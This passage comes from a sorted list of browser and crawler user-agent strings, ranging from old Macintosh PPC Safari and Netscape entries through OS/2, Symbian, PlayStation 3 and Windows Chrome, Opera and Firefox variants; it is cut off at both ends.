Safari/416.13\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; nb-no) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; nb-no) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/416.11 (KHTML, like Gecko) Safari/312\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.9.2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; nl-nl) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; pl-PL; rv:1.0.1)   Gecko/20021111 Chimera/0.6\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; pl-PL; rv:1.0.1) Gecko/20021111 Chimera/0.6\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; pl-pl) AppleWebKit/312.8 (KHTML, like Gecko) Shiira/1.2.1 Safari/125\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; pl-pl) AppleWebKit/312.8 (KHTML, like Gecko, Safari) DeskBrowse/1.0\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; pt-pt) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/312.3.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.5\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8_Adobe\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/418.9 (KHTML, like Gecko) Safari/\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/523.12.2 (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; sv-se) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5\nMozilla/5.0 (Macintosh; U; PPC Mac OS X; tr-tr) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS; en) iCab 3\nMozilla/5.0 (Macintosh; U; PPC Mac OS; en-en) AppleWebKit/412 (KHTML, like Gecko) Safari/412\nMozilla/5.0 (Macintosh; U; PPC Mac OS; en-en; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\nMozilla/5.0 (Macintosh; U; PPC Mac OS; pl-pl) AppleWebKit/412 (KHTML, like Gecko) Safari/412\nMozilla/5.0 (Macintosh; U; PPC Max OS X Mach-O; it-IT; rv:1.8.0.7) Gecko/200609211 Camino/1.0.3\nMozilla/5.0 (Macintosh; U; PPC; de-DE; rv:0.9.2) Gecko/20010726 Netscape6/6.1\nMozilla/5.0 (Macintosh; U; PPC; de-DE; rv:0.9.4) Gecko/20011130 Netscape6/6.2.1\nMozilla/5.0 (Macintosh; U; PPC; de-DE; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3\nMozilla/5.0 (Macintosh; U; PPC; de-DE; rv:1.0.1) Gecko/20020823 Netscape/7.0\nMozilla/5.0 (Macintosh; U; PPC; de-DE; rv:1.0.2) Gecko/20021120 Netscape/7.01\nMozilla/5.0 (Macintosh; U; PPC; de-DE; rv:1.0.2) Gecko/20030208 Netscape/7.02\nMozilla/5.0 (Macintosh; U; PPC; en-US; mimic; rv:9.3.0) Clecko/20120101 Classilla/CFM\nMozilla/5.0 (Macintosh; U; PPC; en-US; mimic; rv:9.3.0) Gecko/20120117 Firefox/3.6.25 Classilla/CFM\nMozilla/5.0 (Macintosh; U; PPC; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1\nMozilla/5.0 (Macintosh; U; PPC; en-US; rv:0.9.3) Gecko/20010802\nMozilla/5.0 (Macintosh; U; PPC; en-US; rv:0.9.4) Gecko/20011130 Netscape6/6.2.1\nMozilla/5.0 (Macintosh; U; PPC; en-US; rv:0.9.4.1) Gecko/20020318 Netscape6/6.2.2\nMozilla/5.0 (Macintosh; U; PPC; en-US; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3\nMozilla/5.0 (Macintosh; U; PPC; en-US; rv:1.0.0) Gecko/20020529\nMozilla/5.0 (Macintosh; U; PPC; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0\nMozilla/5.0 (Macintosh; U; PPC; en-US; rv:1.0.2) Gecko/20021120 Netscape/7.01\nMozilla/5.0 (Macintosh; U; PPC; en-US; rv:1.0.2) Gecko/20021216\nMozilla/5.0 (Macintosh; U; PPC; en-US; rv:1.0.2) Gecko/20030208 Netscape/7.02\nMozilla/5.0 (Macintosh; U; PPC; en-US; rv:1.0rc2) Gecko/20020512 Netscape/7.0b1\nMozilla/5.0 (Macintosh; U; PPC; en-US; rv:1.1) Gecko/20020826\nMozilla/5.0 (Macintosh; U; PPC; en-US; rv:1.2.1) Gecko/20021130\nMozilla/5.0 (Macintosh; U; PPC; en-US; rv:1.2a) Gecko/20020910\nMozilla/5.0 (Macintosh; U; PPC; en-US; rv:1.2b) Gecko/20021016\nMozilla/5.0 (Macintosh; U; PPC; fr-FR; rv:1.0.1) Gecko/20020823 Netscape/7.0\nMozilla/5.0 (Macintosh; U; PPC; fr-FR; rv:1.0.2) Gecko/20021120 Netscape/7.01\nMozilla/5.0 (Macintosh; U; PPC; fr-FR; rv:1.0.2) Gecko/20030208 Netscape/7.02\nMozilla/5.0 (Macintosh; U; PPC; fr-FR; rv:1.2.1) Gecko/20021130\nMozilla/5.0 (Macintosh; U; PPC; ja-JP; rv:1.0.2) Gecko/20030208 Netscape/7.02\nMozilla/5.0 (Macintosh; U; PowerPC Mac OS X 10_5_8; en-US) AppleWebKit/531.9+(KHTML, like Gecko, Safari/528.16) OmniWeb/v622.10.0\nMozilla/5.0 (Macintosh; U; i386 Mac OS X; en) AppleWebKit/417.9 (KHTML, like Gecko) Hana/1.0\nMozilla/5.0 (Macintosh; X11; U; Intel Mac OS X 10.6; id; rv:1.8.1.8) Gecko/20071101 Firefox/2.0.0.8\nMozilla/5.0 (Macintosh; X11; U; Intel Mac OS X 10.6; id; rv:1.8.1.8; .NET CLR 2.0.50727) Gecko/20071101 Firefox/2.0.0.8\nMozilla/5.0 (Maemo; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1\nMozilla/5.0 (Maemo; Linux armv7l; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1\nMozilla/5.0 (Maemo; Linux armv7l; rv:2.0b13pre) Gecko/20110315 Firefox/4.0b13pre Fennec/4.0b6pre\nMozilla/5.0 (Maemo; Linux armv7l; rv:2.0b8pre) Gecko/20110328 Firefox/4.0b8pre Fennec/4.0b3pre\nMozilla/5.0 (Maemo; Linux armv7l; rv:2.1) Gecko/20110318 Firefox/4.0b13pre Fennec/4.0\nMozilla/5.0 (Maemo; Linux armv7l; rv:5.0) Gecko/20110615 Firefox/5.0 Fennec/5.0\nMozilla/5.0 (Maemo; Linux armv7l; rv:6.0a1) Gecko/20110510 Firefox/6.0a1 Fennec/6.0a1\nMozilla/5.0 (Maemo; Linux armv7l; rv:6.0a1) Gecko/20110518 Firefox/6.0a1 Fennec/6.0a1\nMozilla/5.0 (Maemo; Linux armv7l; rv:6.0a1) Gecko/20110522 Firefox/6.0a1 Fennec/6.0a1\nMozilla/5.0 (Maemo; Linux armv7l; rv:6.0a1) Gecko/20110526 Firefox/6.0a1 Fennec/6.0a1\nMozilla/5.0 (MeeGo; NokiaN9) AppleWebKit/534.13 (KHTML, like Gecko) NokiaBrowser/8.5.0 Mobile Safari/534.13\nMozilla/5.0 (MeeGo; NokiaN950-00/00) AppleWebKit/534.13 (KHTML, like Gecko) NokiaBrowser/8.5.0 Mobile Safari/534.13\nMozilla/5.0 (Mobile; Windows Phone 8.1; Android 4.0; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 929) like iPhone OS 7_0_3 Mac OS X AppleWebKit/537 (KHTML, like Gecko) Mobile Safari/537\nMozilla/5.0 (Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_0_1 like Mac OS X; fr-fr) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5G77 Safari/525.20\nMozilla/5.0 (OS/2; U; OS/2; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Arora/0.11.0 Safari/533.3\nMozilla/5.0 (OS/2; U; OS/2; en-US) AppleWebKit/533.3 (KHTML, like Gecko) QupZilla/1.3.1 Safari/533.3\nMozilla/5.0 (OS/2; U; Warp 4.5; de-AT; rv:1.4) Gecko/20030624\nMozilla/5.0 (OS/2; U; Warp 4.5; de-DE; rv:1.7.5) Gecko/20050523\nMozilla/5.0 (OS/2; U; Warp 4.5; en-US; rv:1.7.12) Gecko/20050922 Firefox/1.0.7\nMozilla/5.0 (OS/2; U; Warp 4.5; en-US; rv:1.8) Gecko/20051118 Firefox/1.5\nMozilla/5.0 (OS/2; U; Warp 4.5; en-US; rv:1.8.0.6) Gecko/20060730 MultiZilla/1.8.2.0i SeaMonkey/1.0.4\nMozilla/5.0 (OS/2; U; Warp 4.5; en-US; rv:1.8.0.7) Gecko/20060910 MultiZilla/1.8.2.0i SeaMonkey/1.0.5\nMozilla/5.0 (OS/2; U; Warp 4.5; en-US; rv:1.8.1.3pre) Gecko/20070307 SeaMonkey/1.1.1+\nMozilla/5.0 (OS/2; U; Warp 4.5; en-US; rv:1.9a1) Gecko/20051119 MultiZilla/1.8.1.0s SeaMonkey/1.5a\nMozilla/5.0 (OS/2; Warp 4.5; rv:10.0.12) Gecko/20100101 Firefox/10.0.12\nMozilla/5.0 (OS/2; Warp 4.5; rv:10.0.12) Gecko/20130108 Firefox/10.0.12 SeaMonkey/2.7.2\nMozilla/5.0 (OS/2; Warp 4.5; rv:24.0) Gecko/20100101 Firefox/24.0\nMozilla/5.0 (OS/2; Warp 4.5; rv:24.0) Gecko/20100101 Firefox/24.0 SeaMonkey/2.21\nMozilla/5.0 (OS/2; Warp 4.5; rv:31.0) Gecko/20100101 Firefox/31.0\nMozilla/5.0 (OS/2; Warp 4.5; rv:31.0) Gecko/20100101 Firefox/31.0 SeaMonkey/2.28\nMozilla/5.0 (OS/2; Warp 4.5; rv:38.0) Gecko/20100101 Firefox/38.0\nMozilla/5.0 (OS/2; Warp 4.5; rv:38.0) Gecko/20100101 Firefox/38.0 SeaMonkey/2.35\nMozilla/5.0 (OS/2; Warp 4.5; rv:45.0) Gecko/20100101 Firefox/45.0\nMozilla/5.0 (OS/2; Warp 4.5; rv:45.0) Gecko/20100101 Firefox/45.0 SeaMonkey/2.42.9esr\nMozilla/5.0 (PLAYSTATION 3; 1.0)\nMozilla/5.0 (PLAYSTATION 3; 1.00)\nMozilla/5.0 (PLAYSTATION 3; 1.10)\nMozilla/5.0 (PLAYSTATION 3; 1.5)\nMozilla/5.0 (PLAYSTATION 3; 1.70)\nMozilla/5.0 (PLAYSTATION 3; 1.90)\nMozilla/5.0 (PLAYSTATION 3; 2.00)\nMozilla/5.0 (PLAYSTATION 3; 3.55)\nMozilla/5.0 (Photon; U; QNX x86pc; en-US; rv:1.6) Gecko/20040429\nMozilla/5.0 (PlayBook; U; RIM Tablet OS 2.1.0; en-US) AppleWebKit/536.2+ (KHTML like Gecko) Version/7.2.1.0 Safari/536.2+\nMozilla/5.0 (S60; SymbOS; Opera Mobi/1181; U; en-GB; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.1\nMozilla/5.0 (S60; SymbOS; Opera Mobi/1209; U; it; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.1\nMozilla/5.0 (S60; SymbOS; Opera Mobi/SYB-1103211396; U; es-LA; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.00\nMozilla/5.0 (SMART-TV; X11; Linux armv7l) AppleWebkit/537.42 (KHTML, like Gecko) Chromium/25.0.1349.2 Chrome/25.0.1349.2 Safari/537.42\nMozilla/5.0 (Sage)\nMozilla/5.0 (Slurp/cat; slurp@inktomi.com; http://www.inktomi.com/slurp.html)\nMozilla/5.0 (Slurp/si; slurp@inktomi.com; http://www.inktomi.com/slurp.html)\nMozilla/5.0 (SunOS 5.8 sun4u; U) Opera 5.0 [en]\nMozilla/5.0 (Symbian/3; Series60/5.2 NokiaC6-01/011.010; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.7.2 3gpp-gba\nMozilla/5.0 (Symbian/3; Series60/5.2 NokiaC7-00/012.003; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.7.3 3gpp-gba\nMozilla/5.0 (Symbian/3; Series60/5.2 NokiaE6-00/021.002; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/533.4 (KHTML, like Gecko) NokiaBrowser/7.3.1.16 Mobile Safari/533.4 3gpp-gba\nMozilla/5.0 (Symbian/3; Series60/5.2 NokiaE7-00/010.016; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.7.3 3gpp-gba\nMozilla/5.0 (Symbian/3; Series60/5.2 NokiaN8-00/014.002; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.6.4 3gpp-gba\nMozilla/5.0 (Symbian/3; Series60/5.2 NokiaX7-00/021.004; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/533.4 (KHTML, like Gecko) NokiaBrowser/7.3.1.21 Mobile Safari/533.4 3gpp-gba\nMozilla/5.0 (SymbianOS 9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344\nMozilla/5.0 (SymbianOS/9.1; U; de) AppleWebKit/413 (KHTML, like Gecko) Safari/413\nMozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413\nMozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 es50\nMozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 es65\nMozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 es70\nMozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 Nokia5700/3.27; Profile/MIDP-2.0 Configuration/CLDC-1.1) AppleWebKit/413 (KHTML, like Gecko) Safari/413\nMozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 Nokia6120c/3.70; Profile/MIDP-2.0 Configuration/CLDC-1.1) AppleWebKit/413 (KHTML, like Gecko) Safari/413\nMozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaE90-1/07.24.0.3; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413 UP.Link/6.2.3.18.0\nMozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95/10.0.018; Profile/MIDP-2.0 Configuration/CLDC-1.1) AppleWebKit/413 (KHTML, like Gecko) Safari/413 UP.Link/6.3.0.0.0\nMozilla/5.0 (SymbianOS/9.3; Series60/3.2 NokiaE52-1/052.003; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.6.2 3gpp-gba\nMozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaC6-00/20.0.042; Profile/MIDP-2.1 Configuration/CLDC-1.1; zh-hk) AppleWebKit/525 (KHTML, like Gecko) BrowserNG/7.2.6.9 3gpp-gba\nMozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344\nMozilla/5.0 (SymbianOS/9.4; U; Series60/5.0 SonyEricssonP100/01; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 Safari/525\nMozilla/5.0 (Twiceler-0.9 http://www.cuill.com/twiceler/robot.html)\nMozilla/5.0 (U; Mac Os X; ca; rv:1.8.1.4) Gecko/20061201 Firefox/2.0.0.4\nMozilla/5.0 (U; Windows NT 5.1; en-GB; rv:1.8.1.17) Gecko/20080808 Firefox/2.0.0.17\nMozilla/5.0 (U; Windows NT 5.1; en-US; rv:1.8.1.8) Gecko/20071022 Firefox/2.0.0.8\nMozilla/5.0 (U; Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0\nMozilla/5.0 (U; Windows; en-US; rv:1.8.1.8) Gecko/20071022 Firefox/2.0.0.8\nMozilla/5.0 (U; en-US; rv:1.8.1.10) Gecko/20071126  Firefox/2.0.0.10\nMozilla/5.0 (U; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (U;) AppleWebKit/532.0 (KHTML, like Gecko) Iron/3.0.197.0 Safari/532.0\nMozilla/5.0 (Unknown; U; UNIX BSD/SYSV system; C -) AppleWebKit/527  (KHTML, like Gecko, Safari/419.3) Arora/0.10.2\nMozilla/5.0 (Unknown; UNIX BSD/SYSV system) AppleWebKit/538.1 (KHTML, like Gecko) QupZilla/1.7.0 Safari/538.1\nMozilla/5.0 (Version: xxxx Type:xx)\nMozilla/5.0 (Windows  U  Windows NT 5.1  en-US) AppleWebKit/534.12 (KHTML, like Gecko) Chrome/9.0.583.0 Safari/534.12\nMozilla/5.0 (Windows 2000; U) Opera 6.01  [de]\nMozilla/5.0 (Windows 2000; U) Opera 6.01  [en]\nMozilla/5.0 (Windows 2000; U) Opera 6.02  [en]\nMozilla/5.0 (Windows 2000; U) Opera 6.03  [en]\nMozilla/5.0 (Windows 2000; U) Opera 6.04  [en]\nMozilla/5.0 (Windows 2000; U) Opera 6.05  [de]\nMozilla/5.0 (Windows 2000; U) Opera 7.0  [en]\nMozilla/5.0 (Windows 8) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30\nMozilla/5.0 (Windows 98; U) Opera 5.12  [de]\nMozilla/5.0 (Windows 98; U; en) Opera 8.54\nMozilla/5.0 (Windows 98; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0\nMozilla/5.0 (Windows 98; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.10\nMozilla/5.0 (Windows 98; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.64\nMozilla/5.0 (Windows ME; U) Opera 6.05  [de]\nMozilla/5.0 (Windows ME; U; en) Opera 8.51\nMozilla/5.0 (Windows ME; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.63\nMozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240\nMozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063\nMozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.91 Safari/537.36 Vivaldi/1.92.917.39\nMozilla/5.0 (Windows NT 10.0; ARM; Lumia 950 Dual SIM) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393\nMozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36\nMozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 UBrowser/5.6.13705.206 Safari/537.36\nMozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36 OPR/36.0.2130.46\nMozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36\nMozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.90 Safari/537.36 Vivaldi/1.4.589.11\nMozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 AOL/11.0 AOLBUILD/11.0.1305 Safari/537.36\nMozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36 OPR/47.0.2631.55\nMozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/5.0.4.3000 Chrome/47.0.2526.73 Safari/537.36\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; MATBJS; rv:11.0) like Gecko\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; MALNJS; rv:11.0) like Gecko\nMozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0\nMozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Edge/12.0\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2869.0 Safari/537.36\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3191.0 Safari/537.36\nMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0\nMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\nMozilla/5.0 (Windows NT 10.0; rv:45.9) Gecko/20100101 Goanna/3.2 Firefox/45.9 PaleMoon/27.4.0\nMozilla/5.0 (Windows NT 4.0; U) Opera 6.05  [en]\nMozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36\nMozilla/5.0 (Windows NT 5.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1150.1  Iron/20.0.1150.1 Safari/536.11\nMozilla/5.0 (Windows NT 5.0; U) Opera 7.01  [en]\nMozilla/5.0 (Windows NT 5.0; U) Opera 7.11  [en]\nMozilla/5.0 (Windows NT 5.0; U) Opera 7.21  [en]\nMozilla/5.0 (Windows NT 5.0; U) Opera 7.54  [en]\nMozilla/5.0 (Windows NT 5.0; U; de) Opera 8.50\nMozilla/5.0 (Windows NT 5.0; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0\nMozilla/5.0 (Windows NT 5.0; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0\nMozilla/5.0 (Windows NT 5.0; rv:1.9.1.19) Gecko/20110420 Firefox/3.6 SeaMonkey/2.0.14\nMozilla/5.0 (Windows NT 5.0; rv:1.9.2.8) Gecko/20120427 Firefox/12.0 SeaMonkey/2.9\nMozilla/5.0 (Windows NT 5.0; rv:2.0.1) Gecko/20110608 Firefox/4.0.1 SeaMonkey/2.1\nMozilla/5.0 (Windows NT 5.0; rv:21.0) Gecko/20100101 Firefox/21.0\nMozilla/5.0 (Windows NT 5.0; rv:5.0) Gecko/20100101 Firefox/5.0\nMozilla/5.0 (Windows NT 5.0; rv:5.0) Gecko/20110706 Firefox/5.0 SeaMonkey/2.2\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.43 Safari/534.24\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.700.3 Safari/534.24\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.700.1 Chrome/11.0.700.1 Safari/534.24\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.700.2 Chrome/11.0.700.2 Safari/534.24\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/534.24 (KHTML, like Gecko) Iron/11.0.700.3 Chrome/11.0.700.3 Safari/534.24\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.56.310 Chrome/11.0.696.68 Safari/534.24\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.56.357 Chrome/11.0.696.71 Safari/534.24\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.58.484 Chrome/11.0.696.71 Safari/534.24\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.58.494 Chrome/11.0.696.71 Safari/534.24\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/534.25 (KHTML, like Gecko) Chrome/12.0.704.0 Safari/534.25\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/534.25 (KHTML, like Gecko) Chrome/12.0.706.0 Safari/534.25\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30 ChromePlus/1.6.3.1\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/534.30 (KHTML, like Gecko) Comodo_Dragon/12.1.0.0 Chrome/12.0.742.91 Safari/534.30\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/534.30 (KHTML, like Gecko) Iron/12.0.750.0 Chrome/12.0.750.0 Safari/534.30\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/534.34 (KHTML, like Gecko) Dooble/1.40 Safari/534.34\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko)  Iron/13.0.800.0 Chrome/13.0.800.0 Safari/535.1\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.792.0 Safari/535.1\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.809.0 Safari/535.1\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.810.0 Safari/535.1\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.813.0 Safari/535.1\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.815.0 Safari/535.1\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko)  Iron/17.0.1000.0 Chrome/17.0.1000.0 Safari/535.11\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko)  Iron/17.0.1000.1 Chrome/17.0.1000.1 Safari/535.11\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.860.0 Safari/535.2\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.864.0 Safari/535.2\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.872.0 Safari/535.2\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/535.6 (KHTML, like Gecko) Chrome/16.0.897.0 Safari/535.6\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1150.0  Iron/20.0.1150.0 Safari/536.11\nMozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1150.1  Iron/20.0.1150.1 Safari/536.11\nMozilla/5.0 